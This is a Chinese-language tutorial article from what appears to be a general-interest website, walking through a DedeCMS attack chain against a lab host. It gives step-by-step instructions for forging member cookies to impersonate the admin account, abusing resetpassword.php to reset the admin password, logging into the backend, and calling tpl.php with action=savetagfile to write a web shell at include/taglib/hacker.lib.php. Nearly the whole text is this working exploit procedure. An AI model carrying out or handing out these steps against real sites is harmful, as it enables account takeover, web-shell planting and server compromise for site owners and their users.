您当前的位置:首页 > 计算机 > 安全防护

dedecms前台任意用户密码修改

时间:12-29来源:作者:点击数:

首先,访问dedecms前台登入

这个需要账号和密码才能登入,所以去注册一个新的用户,去访问http://10.10.10.140/member/index_do.php?fmdo=user&dopost=regnew

完成个人信息的填写,用户名为0000001,登入密码为123456,安全问题不需要填写,点击完善信息,即完成注册

回到http://10.10.10.140/member/,登入刚才注册的账号

登入成功后,访问http://10.10.10.140/member/index.php?uid=0000001,即个人空间的访问

打开F12,选择应用程序,点击Cookie,修改DedeUserID为用户名0000001,将last_vid__ckMd5的值赋给DedeUserID__ckMd5,

之后再次访问http://10.10.10.140/member/,此时账户将从0000001账户变到admin账户

这时,打开bp代理抓包,访问http://10.10.10.140/member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanswer=&id=1

然后全选,右键选择Send to Repeater,之后确保修改的DedeUserID为用户名0000001和last_vid__ckMd5的值赋给DedeUserID__ckMd5的值和之前的一样,点击send

注意http://127.0.0.1/member/resetpassword.php?dopost=getpasswd&id=1&key=gsLLKe0M,将url的127.0.0.1改为10.10.10.140,并删去两个amp;

即为http://10.10.10.140/member/resetpassword.php?dopost=getpasswd&id=1&key=gsLLKe0M,关掉bp代理并访问

此时就能修改前端admin账号的密码,修改密码为123,点击下一步,修改admin密码完成

选择系统设置->个人资料->基本资料

注意填写的昵称为admin,原登入密码为刚才修改的admin密码为123,新密码为1234,再次打开bp代理,点击更新,抓到包之后还是选择Send to Repeater

步骤同上,确保修改的DedeUserID为用户名0000001和last_vid__ckMd5的值赋给DedeUserID__ckMd5的值和之前的一样,点击send

右边选择Render,查看是否基本资料已经修改完成,如上图,关掉bp代理,访问后台http://10.10.10.140/dede/login.php?gotopage=%2Fdede%2F

这里登入admin的用户名和密码,密码是刚才修改的1234,登入dedecms后台

访问http://10.10.10.140/dede/tpl.php?action=upload

这里就能上传木马文件到dedecms后台,进行shell,或者按F12查看源代码

拿取token为4cd0250ffecf03b6ceca6b739944b4f6

构造payload

http://10.10.10.140/dede/tpl.php?

filename=hacker.lib.php&action=savetagfile&content=&token=4cd0250ffecf03b6ceca6b739944b4f6,访问

这里可以进行shell,位置是include/taglib/hacker.lib.php,至此dedecms前台任意用户密码修改完成

方便获取更多学习、工作、生活信息请关注本站微信公众号城东书院 微信服务号城东书院 微信订阅号
上一篇:Websocket为网络安全带来哪些挑战? 下一篇:如何识别文件的真假
推荐内容
考了这些证书的可享个税扣除
考了这些证书的可享个
怎样用 PS 把电子文档变成实拍纸张图
怎样用 PS 把电子文档
记录在本地电脑部署自己的DeepSeek 大模型AI
记录在本地电脑部署自
围棋入门教程 十天即可掌握!
围棋入门教程 十天即
相关内容
栏目更新
栏目热门
本栏推荐